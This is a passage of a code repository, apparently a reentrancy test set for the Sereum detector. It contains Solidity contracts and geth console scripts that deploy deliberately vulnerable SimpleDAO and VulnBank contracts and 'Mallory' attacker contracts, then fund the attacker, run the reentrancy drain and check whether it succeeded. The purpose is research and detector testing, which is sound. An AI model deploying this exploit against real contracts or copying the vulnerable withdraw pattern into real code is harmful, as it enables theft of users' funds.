62 | var mallory = malloryContract.new(
63 | {
64 | from: attacker,
65 | data: '0x608060405234801561001057600080fd5b50610320806100206000396000f3fe608060405260043610610046576000357c0100000000000000000000000000000000000000000000000000000000900480634162169f146101e4578063e73a914c1461023b575b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166359f1286d306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561013d57600080fd5b505afa158015610151573d6000803e3d6000fd5b505050506040513d602081101561016757600080fd5b81019080805190602001909291905050506040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b1580156101ca57600080fd5b505af11580156101de573d6000803e3d6000fd5b50505050005b3480156101f057600080fd5b506101f961028c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561024757600080fd5b5061028a6004803603602081101561025e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506102b1565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea165627a7a72305820fd78428db45cd09abbd43a4cb556c92bcd0bb6d0d843088a7c00d8d9765089f60029',
66 | gas: '4700000'
67 | }, function (e, contract){
68 | console.log(e, contract);
69 | if (typeof contract.address !== 'undefined') {
70 | console.log('Mallory contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
71 | }
72 | })
73 |
74 | var simpledaoContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"to","type":"address"}],"name":"donate","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"to","type":"address"}],"name":"queryCredit","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"credit","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}]);
75 | var simpledao = simpledaoContract.new(
76 | {
77 | from: web3.eth.accounts[0],
78 | data: '0x608060405234801561001057600080fd5b50610381806100206000396000f3fe60806040526004361061005b576000357c010000000000000000000000000000000000000000000000000000000090048062362a95146100605780632e1a7d4d146100a457806359f1286d146100df578063d5d44d8014610144575b600080fd5b6100a26004803603602081101561007657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506101a9565b005b3480156100b057600080fd5b506100dd600480360360208110156100c757600080fd5b81019080803590602001909291905050506101f8565b005b3480156100eb57600080fd5b5061012e6004803603602081101561010257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506102f5565b6040518082815260200191505060405180910390f35b34801561015057600080fd5b506101936004803603602081101561016757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061033d565b6040518082815260200191505060405180910390f35b346000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555050565b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156102f2573373ffffffffffffffffffffffffffffffffffffffff168160405180600001905060006040518083038185875af1925050503d806000811461029d576040519150601f19603f3d011682016040523d82523d6000602084013e6102a2565b606091505b505050806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000602052806000526040600020600091509050548156fea165627a7a7230582053094cf53a55dbe65e8ef04748d38963f03c795cdb0a4b40547d0f8feeb9229c0029',
79 | gas: '4700000'
80 | }, function (e, contract){
81 | console.log(e, contract);
82 | if (typeof contract.address !== 'undefined') {
83 | console.log('SimpleDAO contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
84 | }
85 | })
86 |
87 | transferSomething()
88 |
89 |
90 |
91 | transferSomething()
92 | console.log("\n===============================================================================")
93 | console.log("Wait for SimpleDAO and Mallory contracts to be mined.")
94 | console.log("Sometimes things hang and manually calling the transferSomething() function a bunch of times until all contracts are mined resolves this. You should see a message that Mallory and SimpleDAO contract are mined.")
95 | transferSomething()
96 | console.log("Use triggerAttack() to start the attack")
97 | console.log("===============================================================================\n")
98 |
99 |
100 | function setupInitialState() {
101 | transferSomething();
102 |
103 | console.log("[+] setting up initial state");
104 |
105 | var victimAmount = 10000;
106 | var malloryAmount = 10;
107 | console.log("donating " + victimAmount + " wei to victim on SimpleDAO");
108 | simpledao.donate(eth.accounts[0], {from: eth.accounts[0], value: victimAmount});
109 | console.log("donating " + malloryAmount + " wei to Mallory on SimpleDAO");
110 | simpledao.donate(mallory.address, {from: attacker, value: 10});
111 |
112 | console.log("setting Mallory's target");
113 | mallory.setDAO(simpledao.address, {from: attacker});
114 |
115 | transferSomething();
116 | }
117 |
118 | function printStatus() {
119 | console.log("");
120 | console.log("SimpleDAO has " + eth.getBalance(simpledao.address) + " wei");
121 | console.log("mallory has " + eth.getBalance(mallory.address) + " wei");
122 | console.log("mallory has " + simpledao.queryCredit(mallory.address) + " wei invested in SimpleDAO");
123 | console.log("");
124 | }
125 |
126 | function triggerAttack() {
127 | transferSomething();
128 | setupInitialState();
129 | transferSomething();
130 |
131 | var preBalance = eth.getBalance(mallory.address);
132 |
133 | printStatus();
134 |
135 | console.log("[+] starting attack");
136 | // we send one wei to mallory to start the attack
137 | var t = eth.sendTransaction({to: mallory.address, from: attacker, gas: '4700000', value: 1});
138 | transferSomething();
139 |
140 | printStatus();
141 | var gains = (eth.getBalance(mallory.address) - preBalance - 1);
142 | console.log("mallory gained " + gains + " wei");
143 | if (gains > 0) {
144 | console.log("attack status: SUCCESS");
145 | } else {
146 | console.log("attack status: FAIL");
147 | }
148 |
149 | // sereum only:
150 | //var r = debug.checkTransaction(t)
151 | //console.log("error: " + r.error)
152 |
153 | return t;
154 | }
155 |
156 |
157 | function getAttackTrace() {
158 | a = triggerAttack();
159 | return debug.traceTransaction(a);
160 | }
161 |
--------------------------------------------------------------------------------
/unconditional.sol:
--------------------------------------------------------------------------------
1 | pragma solidity ^0.5.0;
2 | /*pragma solidity ^0.4.21;*/
3 |
4 | contract VulnBank {
5 |
6 | mapping (address => uint) private userBalances;
7 |
8 | function getBalance(address a) public view returns(uint) {
9 | return userBalances[a];
10 | }
11 |
12 | function deposit() public payable {
13 | userBalances[msg.sender] += msg.value;
14 | }
15 |
16 | function withdrawAll() public {
17 | uint amountToWithdraw = userBalances[msg.sender];
18 |
19 | // In this example VulnBank unconditionally sends ether to msg.sender.
20 | // The amount of ether might be 0, which will waste gas, but not do any
21 | // harm. However, an attacker can re-enter this function and exploit
22 | // the inconsistent state to drain the contract of ether.
23 | msg.sender.call.value(amountToWithdraw)("");
24 |
25 | userBalances[msg.sender] = 0;
26 | }
27 | }
28 |
29 | contract Mallory {
30 | VulnBank vb;
31 |
32 | function attack(VulnBank _vb) public payable {
33 | vb = _vb;
34 | // deposit all ether
35 | vb.deposit.value(address(this).balance)();
36 | // and extract again
37 | vb.withdrawAll();
38 | msg.sender.transfer(address(this).balance);
39 | }
40 |
41 | function () external payable {
42 | vb.withdrawAll();
43 | }
44 | }
45 |
--------------------------------------------------------------------------------
/unconditional_setup.js:
--------------------------------------------------------------------------------
1 | // deploy javascript code for manual-lock.sol
2 |
3 | var defaultPassword = "";
4 |
5 | personal.newAccount(defaultPassword);
6 | personal.newAccount(defaultPassword);
7 | function unlockAllAccounts() {
8 | // this is the prefundend dev contract
9 | personal.unlockAccount(eth.accounts[0], defaultPassword);
10 | // we'll use this as "attacker"
11 | personal.unlockAccount(eth.accounts[1], defaultPassword);
12 | }
13 | unlockAllAccounts()
14 | var attacker = eth.accounts[1];
15 | var victim = eth.accounts[0];
16 |
17 | console.log("prefunded balance: " + eth.getBalance(eth.accounts[0]))
18 | console.log("transferring initial funds to attacker account")
19 | eth.sendTransaction({from: eth.accounts[0], to: attacker, value: 1000000000000})
20 | admin.sleepBlocks(3)
21 | console.log("attacker account balance: " + eth.getBalance(attacker))
22 |
23 | function transferSomething() {
24 | eth.sendTransaction({from: eth.accounts[0], to: eth.accounts[2], value: 100})
25 | admin.sleepBlocks(4)
26 | }
27 |
28 |
29 | var malloryContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"_vb","type":"address"}],"name":"attack","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]);
30 | var mallory_create = {
31 | from: attacker,
32 | data: '0x608060405234801561001057600080fd5b50610343806100206000396000f3fe608060405260043610610041576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063d018db3e146100e0575b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663853828b66040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b1580156100c657600080fd5b505af11580156100da573d6000803e3d6000fd5b50505050005b610122600480360360208110156100f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610124565b005b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db03073ffffffffffffffffffffffffffffffffffffffff16316040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15801561020057600080fd5b505af1158015610214573d6000803e3d6000fd5b50505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663853828b66040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561029e57600080fd5b505af11580156102b2573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610313573d6000803e3d6000fd5b505056fea165627a7a7230582028a165aafca981cc939b796b9989d6d65d7d53f5975afae0bdac73be76b1e4b90029',
33 | gas: '4700000'
34 | };
35 |
36 |
37 | var vulnbankContract = web3.eth.contract([{"constant":false,"inputs":[],"name":"withdrawAll","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"deposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"address"}],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}]);
38 | var vulnbank_create = {
39 | from: web3.eth.accounts[0],
40 | data: '0x608060405234801561001057600080fd5b50610294806100206000396000f3fe608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063853828b61461005c578063d0e30db014610073578063f8b2cb4f1461007d575b600080fd5b34801561006857600080fd5b506100716100e2565b005b61007b6101d2565b005b34801561008957600080fd5b506100cc600480360360208110156100a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610220565b6040518082815260200191505060405180910390f35b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490503373ffffffffffffffffffffffffffffffffffffffff168160405180600001905060006040518083038185875af1925050503d8060008114610183576040519150601f19603f3d011682016040523d82523d6000602084013e610188565b606091505b50505060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b346000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905091905056fea165627a7a72305820bd4bd0db6a1e822e21cde0a44d0f8246d389cd2f8bf301587e6d34567a2d1df60029',
41 | gas: '4700000'
42 | };
43 |
44 | var mallory;
45 |
46 | console.log("[+] deploying contracts");
47 | var vulnbank = vulnbankContract.new(
48 | vulnbank_create,
49 | function (e, contract) {
50 | console.log("vulnbank:", e, contract);
51 | if (typeof contract.address !== 'undefined') {
52 | console.log('VulnBankX Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
53 |
54 | console.log("making mallory contract")
55 | var _vb = contract.address;
56 | mallory = malloryContract.new(
57 | _vb,
58 | mallory_create,
59 | function (e, contract){
60 | console.log("mallory", e, contract);
61 | if (typeof contract.address !== 'undefined') {
62 | console.log('Mallory Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
63 | }
64 | })
65 | }
66 | })
67 |
68 | transferSomething();
69 | transferSomething();
70 |
71 |
72 | function setupInitialState() {
73 | console.log("[+] Setting up initial state");
74 | vulnbank.deposit({from: eth.accounts[0], value: 1000000, gas: '4700000'});
75 | }
76 |
77 | function printStatus() {
78 | console.log("");
79 | console.log("Mallory has " + eth.getBalance(mallory.address) + " wei");
80 | console.log("Mallory has " + vulnbank.getBalance(mallory.address) + " wei in VulnBank");
81 | console.log("attacker has " + eth.getBalance(attacker) + " wei");
82 | console.log("attacker has " + vulnbank.getBalance(attacker) + " wei in VulnBank");
83 | console.log("victim has " + vulnbank.getBalance(victim) + " wei in VulnBank");
84 | console.log("Vulnbank has " + eth.getBalance(vulnbank.address) + " wei");
85 | if (eth.getBalance(vulnbank.address) < vulnbank.getBalance(victim)) {
86 | console.log("Warning: VulnBank does not have enough funds to return victim's investment");
87 | }
88 | console.log("");
89 | }
90 |
91 |
92 | function triggerAttack() {
93 | transferSomething(); // sometimes it's stuck for some reason
94 | setupInitialState();
95 | transferSomething();
96 |
97 | printStatus();
98 |
99 | var preBalance = eth.getBalance(attacker);
100 |
101 | admin.sleepBlocks(3);
102 |
103 | console.log("[+] Triggering attack");
104 | var t = mallory.attack(vulnbank.address, {from: attacker, gas: '4700000', value: 1000000});
105 | admin.sleepBlocks(3);
106 |
107 | printStatus()
108 |
109 | var gains = (eth.getBalance(attacker) - preBalance);
110 | console.log("Attacker gained " + gains + " wei");
111 | if (gains > 0) {
112 | console.log("[+] Attack SUCCESS")
113 | } else {
114 | console.log("[+] Attack FAIL")
115 | }
116 |
117 | return t;
118 | }
119 |
120 |
121 | function getAttackTrace() {
122 | a = triggerAttack();
123 | return debug.traceTransaction(a);
124 | }
125 |
126 |
127 | function checkTrace() {
128 | // sereum only
129 | t = triggerAttack();
130 | return debug.checkTransaction(t)
131 | }
132 |
--------------------------------------------------------------------------------